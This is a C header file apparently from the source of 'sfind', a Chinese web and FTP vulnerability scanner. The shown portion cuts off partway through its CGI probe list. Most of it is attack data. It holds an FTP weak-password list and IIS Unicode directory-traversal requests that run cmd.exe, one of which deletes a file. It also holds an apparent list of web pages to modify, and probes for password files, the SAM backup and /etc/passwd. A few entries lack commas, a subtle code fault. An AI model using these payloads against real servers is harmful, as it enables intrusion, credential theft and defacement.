unicode.h

漏洞扫描器 sfind源代码

//标准端口扫描中的默认端口
char *ports[10]={"21","80","53","25","79","23","110","1433","5631","3389"};
//unicode漏洞修改web文件的文件名
char * modify[5]={
	           "\\index.htm\r\n",
			   "\\index.asp\r\n",
               "\\default.htm\r\n",
               "\\default.asp\r\n",
			   "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+del+root.exe\r\n"
};
//ftp登陆简单密码
char * ftppass[10]=
{
"",
"123",
"1234",
"12345",
"abcd",
"administrator",
"password",
"admin",
"123456",
"abc"
};
//进度条
char *planx[8]=
{
	" - ",
	" \\ ",
	" | ",
	" / ",
	" - ",
	" \\ ",
	" | ",
	" / "
};
//CGI漏洞
char *cgiholes[648]=
{
"/.pl",
"/*.ida",
"/*.idc",
"/*.idq",
"/........../autoexec.bat",
"/....../",
"/....../all",
"/....../etc/hosts",
"/../../../../../../../boot.ini",
"/../../../../../winnt/repair/sam._",
"/../../../../config.sys",
"/../../../../etc/hosts",
"/.access",
"/.bash_history",
"/.htaccess",
"/.htpasswd",
"/.passwd",
"/?PageServices",
"/_AuthChangeUrl",
"/_AuthChangeUrl?",
"/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir",
"/_mem_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir",
"/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/_mem_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir",
"/_mem_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir",
"/_mem_bin/../../../../winnt/system32/cmd.exe?/c+dir",
"/_mem_bin/..?..?..?../winnt/system32/cmd.exe?/c+dir",
"/_mem_bin/.._../winnt/system32/cmd.exe?/c+dir",
"/_private",
"/_private/form_results.txt",
"/_private/orders.txt",
"/_private/register.txt",
"/_private/registrations.txt",
"/_vti_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/../../../../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..?..?..?../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/.._../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/_vti_aut/dvwssr.dll",
//"/_vti_bin/fpcount.exe",
"/_vti_bin/fpexe",
"/_vti_bin/shtml.dll",
"/_vti_bin/shtml.dll/_vti_rpc",
"/_vti_bin/shtml.exe",
"/_vti_inf.html",
"/_vti_pvt",
"/_vti_pvt/",
"/_vti_pvt/administrator.pwd",
"/_vti_pvt/administrators.pwd",
"/_vti_pvt/author.log",
"/_vti_pvt/authors.pwd",
"/_vti_pvt/doctodep.btr",
"/_vti_pvt/service.grp",
"/_vti_pvt/service.pwd",
"/_vti_pvt/shtml.dll",
"/_vti_pvt/shtml.exe",
"/_vti_pvt/users.pwd",
"/~bin",
"/~ftp",
"/~guest",
"/~log",
"/~logs",
"/~lp",
"/~named",
"/~root",
"/~test",
"/~tmp",
"/abczxv.htw",
"/Admin_files/order.log",
"/admisapi/fpadmin.htm",
"/adsamples/config/site.csc",
"/AdvWorks/equipment/catalog_type.asp",
"/app.cfm",
"/ASPSamp/AdvWorks/equipment/catalog_type.asp",
"/autoexec.bat",
"/bb-dnbd/bb-hist.sh",
"/bdir.htr",
"/bin",
"/bin/scripts/../../../../winnt/system32/cmd.exe?/c+dir",
"/bin/scripts/..?..?..?../winnt/system32/cmd.exe?/c+dir",
"/bin/scripts/.._../winnt/system32/cmd.exe?/c+dir",
"/bin/scripts/openvendor/gnete/RetrievePNBody.asp",
"/blabla.idq",
"/carbo.dll",
"/catalog.nsf",
"/catalog.nsf/",
"/ccbill/secure/ccbill.log",
"/cfappman/index.cfm",
"/cfcache.map",
"/cfdocs/cfmlsyntaxcheck.cfm",
"/cfdocs/exampleapp/docs/sourcewindow.cfm",
"/cfdocs/exampleapp/email/getfile.cfm",
"/cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini",
"/cfdocs/exampleapp/publish/admin/addcontent.cfm",
"/cfdocs/examples/cvbeans/beaninfo.cfm",
"/cfdocs/examples/httpclient/mainframeset.cfm",
"/cfdocs/examples/parks/detail.cfm",
"/cfdocs/expelval/displayopenedfile.cfm",
"/cfdocs/expelval/exprcalc.cfm",
"/cfdocs/expelval/openfile.cfm",
"/cfdocs/expelval/sendmail.cfm",
"/cfdocs/expeval/displayopenedfile.cfm",
"/cfdocs/expeval/eval.cfm",
"/cfdocs/expeval/ExprCalc.cfm",
"/cfdocs/expeval/exprcalc.cfm",
"/cfdocs/expeval/openfile.cfm",
"/cfdocs/expeval/sendmail.cfm",
"/cfdocs/root.cfm",
"/cfdocs/snippets/evaluate.cfm",
"/cfdocs/snippets/fileexists.cfm",
"/cfdocs/snippets/gettempdirectory.cfm",
"/cfdocs/snippets/viewexample.cfm",
"/cfide/administrator/index.cfm",
"/cfusion/cfapps/forums/data/forums.mdb",
"/cfusion/cfapps/security/data/realm.mdb",
"/cfusion/cfapps/security/realm_.mdb",
"/cfusion/database/cfsnippets.mdb",
"/cfusion/database/cypress.mdb",
"/cfusion/database/smpolicy.mdb",
"/cgi",
"/cgibin",
"/cgi-bin",
"/Cgi-Bin/",
"/cgi-bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/../../../../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/..?..?..?../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/.._../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/add_ftp.cgi",
"/cgi-bin/Admin_files/order.log",
"/cgi-bin/adp",
"/cgi-bin/adpassword.txt",
"/cgi-bin/ads.setup",
"/cgi-bin/aglimpse",
"/Cgi-Bin/aglimpse.cgi",
"/cgi-bin/aglimpse.cgi",
"/Cgi-Bin/alibaba.pl",
"/cgi-bin/alibaba.pl",
"/cgi-bin/allmanage.pl",
"/cgi-bin/allmanage/adp",
"/cgi-bin/allmanage/k",
"/cgi-bin/allmanage/settings.cfg",
"/cgi-bin/allmanage/userfile.dat",
"/cgi-bin/allmanageup.pl",
"/cgi-bin/AnyBoard.cgi",
"/cgi-bin/anyboard.cgi",
"/cgi-bin/AnyForm",
"/cgi-bin/AnyForm.cgi",
"/cgi-bin/AnyForm2",
"/cgi-bin/archie",
"/cgi-bin/architext_query.pl",
"/cgi-bin/ash",
"/cgi-bin/AT-admin.cgi",
"/cgi-bin/AT-generate.cgi",
"/cgi-bin/authorize/dbmfiles/users",
"/cgi-bin/ax.cgi",
"/cgi-bin/ax-admin.cgi",
"/cgi-bin/axs.cgi",
"/cgi-bin/bash",
"/cgi-bin/bb-hist.sh",
"/cgi-bin/bigconf.cgi",
"/cgi-bin/bigconf.cgi",
"/cgi-bin/bizdb1-search.cgi",
"/cgi-bin/bnbform",
"/cgi-bin/bnbform.cgi",
"/cgi-bin/cachemgr.cgi",
"/cgi-bin/calendar",
"/cgi-bin/calender.pl",
"/cgi-bin/calender_admin.pl",
"/cgi-bin/campas",
"/cgi-bin/carbodll",
"/cgi-bin/cart.pl",
"/cgi-bin/ceilidh.exe/ceilidh/?N4",
"/cgi-bin/cgimail.exe",
"/Cgi-Bin/cgitest.exe",
"/cgi-bin/Cgitest.exe",
"/cgi-bin/cgiwrap",
"/cgi-bin/classified.cgi",
"/cgi-bin/classifieds",
"/cgi-bin/classifieds.cgi",
"/cgi-bin/clickresponder.pl",
"/Cgi-Bin/cmd.exe?/c+dir",
"/cgi-bin/cmd.exe?/c+dir",
"/Cgi-Bin/cmd32.exe",
"/Cgi-Bin/cmd32.exe?/c+dir",
"/cgi-bin/Count.cgi",
"/Cgi-Bin/count.cgi",
"/cgi-bin/counterfiglet",
"/Cgi-Bin/csh",
"/cgi-bin/csh",
"/cgi-bin/date",
"/cgi-bin/day5datacopier.cgi",
"/cgi-bin/day5datanotifier.cgi",
"/cgi-bin/day5notifier",
"/cgi-bin/dbmlparser.exe",
"/cgi-bin/dig.cgi",
"/cgi-bin/dnewsweb",
"/cgi-bin/download.cgi",
"/cgi-bin/dumpenv.pl",
"/Cgi-Bin/echo.bat",
"/cgi-bin/edit.pl",
"/Cgi-Bin/enivron.pl",
"/cgi-bin/environ.cgi",
"/cgi-bin/excite",
"/Cgi-Bin/ezshopper/loadpage.cgi",
"/Cgi-Bin/ezshopper/search.cgi",
"/cgi-bin/faxsurvey",
"/Cgi-Bin/faxsurvey",
"/cgi-bin/filemail",
"/cgi-bin/filemail.pl",
"/cgi-bin/files.pl",
"/cgi-bin/finger",
"/cgi-bin/finger.cgi",
"/cgi-bin/finger.pl",
"/cgi-bin/flexform",
"/cgi-bin/flexform.cgi",
"/Cgi-Bin/FormHandler.cgi",
"/cgi-bin/FormHandler.cgi",
"/Cgi-Bin/formmail",
"/Cgi-Bin/formmail.cgi",
"/Cgi-Bin/formmail.pl",
"/cgi-bin/formmail.pl",
"/cgi-bin/fortune",
"/cgi-bin/fpcount.exe",
"/cgi-bin/fpexplore.exe",
"/cgi-bin/fpexplorer.exe",
"/cgi-bin/ftp/ftp.pl",
"/Cgi-Bin/get32.exe",
"/cgi-bin/get32.exe",
"/cgi-bin/gH.cgi",
"/cgi-bin/glimpse",
"/cgi-bin/guestbook",
"/cgi-bin/guestbook.cgi",
"/cgi-bin/guestbook.pl",
"/cgi-bin/handler",
"/cgi-bin/handler.cgi"
"/Cgi-Bin/hello.bat",
"/Cgi-Bin/htimage.exe",
"/cgi-bin/htimage.exe",
"/cgi-bin/htmlscript",
"/cgi-bin/htmlscript?../../../../etc/passwd",
"/Cgi-Bin/htsearch",
"/cgi-bin/htsearch",
"/cgi-bin/iisadmpwd/achg.htr",
"/cgi-bin/iisadmpwd/aexp.htr",
"/cgi-bin/iisadmpwd/aexp2.htr",
"/cgi-bin/iisadmpwd/anot.htr",
"/cgi-bin/imagemap.exe",
"/cgi-bin/info2www",
"/cgi-bin/infosrch.cgi",
"/cgi-bin/input.bat",
"/cgi-bin/input2.bat",
"/Cgi-Bin/jj",
"/cgi-bin/k",
"/Cgi-Bin/ksh",
"/cgi-bin/ksh",
"/Cgi-Bin/loadpage.cgi",
"/cgi-bin/loadpage.cgi",
"/cgi-bin/lwgate",
"/cgi-bin/LWGate.cgi",
"/cgi-bin/lwgate.cgi",
"/cgi-bin/MachineInfo"
"/cgi-bin/mail",
"/cgi-bin/mailform.exe",
"/cgi-bin/maillist.pl",
"/cgi-bin/makechanges/easysteps/easysteps.pl",
"/cgi-bin/man.sh",
"/cgi-bin/mlog.phtml",
"/cgi-bin/mylog.phtml",
"/cgi-bin/netstat",
"/cgi-bin/nlog-smb.pl",
"/cgi-bin/nph-error.pl",
"/cgi-bin/nph-publish",
"/cgi-bin/nph-test-cgi",
"/Cgi-Bin/nph-test-cgi",
"/cgi-bin/passwd",
"/cgi-bin/passwd.txt",
"/cgi-bin/password",
"/cgi-bin/password.dat",
"/cgi-bin/password.log",
"/cgi-bin/password.txt",
"/cgi-bin/perl",
"/Cgi-Bin/perl.exe",
"/cgi-bin/perl.exe",
"/cgi-bin/perlshop.cgi",
"/cgi-bin/pfdispaly.cgi",
"/cgi-bin/pfdisplay",
"/cgi-bin/pfdisplay.cgi",
"/Cgi-Bin/phf",
"/cgi-bin/phf",
"/cgi-bin/phf.cgi",
"/cgi-bin/phf.pp",
"/cgi-bin/photo_cfg.pl",
"/cgi-bin/php",
"/cgi-bin/php.cgi",
"/cgi-bin/phpscan",
"/cgi-bin/plusmail",
"/cgi-bin/postcard.pl",
"/cgi-bin/post-query",
"/cgi-bin/ppdscgi.exe",
"/cgi-bin/printenv",
"/cgi-bin/process_bug.cgi",